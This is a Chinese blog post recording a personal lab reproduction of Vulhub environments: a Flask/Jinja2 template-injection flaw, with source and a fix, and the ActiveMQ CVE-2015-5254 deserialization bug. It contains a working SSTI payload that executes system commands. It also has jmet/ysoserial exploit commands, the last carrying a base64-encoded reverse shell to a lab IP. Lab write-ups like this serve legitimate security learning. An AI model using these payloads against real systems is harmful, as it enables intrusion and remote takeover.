vulhub复现记录

最新推荐文章于 2024-12-17 00:10:07 发布

是乙太呀

最新推荐文章于 2024-12-17 00:10:07 发布

阅读量2k

点赞数 18

CC 4.0 BY-SA版权

分类专栏： CTF 文章标签：网络安全 oscp 黑客 CTF

本文链接：https://blog.csdn.net/m0_64696290/article/details/136430025

环境搭建

原项目地址：
vulhub/vulhub：基于 Docker-Compose 的预构建易受攻击环境 (github.com)

在 Ubuntu 22.04 上安装 Docker：

# Install the latest version docker
curl -s https://get.docker.com/ | sh

# Run docker service
systemctl start docker

看作者下面的解释可以知道，自 2022 年 2 月起，作为 Docker Compose V2023 的子命令合并到 Docker 中，Python 版本的 docker-compose 将在 <> 年 <> 月之后弃用。

但是由于我之前在CentOS搭建了老的docker,所以就继续使用，老的docker-compose.其中遇到不少坑，就浅浅的记录一下吧。

你终于回来了(。・∀・)ノ (cnblogs.com)

查看版本的时候报错解决：

报错：CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team._流音寻帆_jonesky的博客-CSDN博客

Flask（Jinja2）服务端模板注入漏洞

1. SSTI（模板注入）漏洞（入门篇） - bmjoker - 博客园 (cnblogs.com)

先看了上面的特别棒的一篇文章才知道SSTI模板注入漏洞是什么。接下来才好有意义能理解的复现。

正常的手段真是啥也看不出来，所以目的是重在知道有这个框架和漏洞

刚一进来，啥也没有

直到输入参数，发现有一个可以改变的模板，我们的{ {2*2}}竟然被计算了。

根据上面那篇详细的SSTI教程可以知道payload构造如下，

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
  
  { b['eval']('__import__("os").popen("id").read()') }}         //popen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

成功执行：

甚至安利了一款工具：

这里推荐自动化工具tplmap，拿shell、执行命令、bind_shell、反弹shell、上传下载文件，Tplmap为SSTI的利用提供了很大的便利

github地址：https://github.com/epinna/tplmap

下面我们再去docker看看web源码：

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

修复方式，可以把

t = Template("Hello " + name)

return t.render()

改成:

t = Template("Hello { {n}}")

return t.render(n=name)

ActiveMQ

CVE-2015-5254 反序列化漏洞

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

参考链接：

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

漏洞环境

运行漏洞环境：

docker compose up -d

环境运行后，将监听61616和8161两个端口。其中61616是工作端口，消息在这个端口进行传递；8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面，不过这个漏洞理论上是不需要web的。

漏洞复现

漏洞利用过程如下：

构造（可以使用ysoserial）可执行命令的序列化对象
作为一个消息，发送给目标61616端口
访问web管理页面，读取消息，触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。

jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

执行：

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.150.130 61616

此时会给目标ActiveMQ添加一个名为event的队列，我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息：

点击查看这条消息即可触发命令执行，此时进入容器sudo docker-compose exec activemq bash，可见/tmp/success已成功创建，说明漏洞利用成功：

将命令替换成弹shell语句再利用：

首先我们这里构造的payload是需要编码的，用的是base64

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.150.130 61616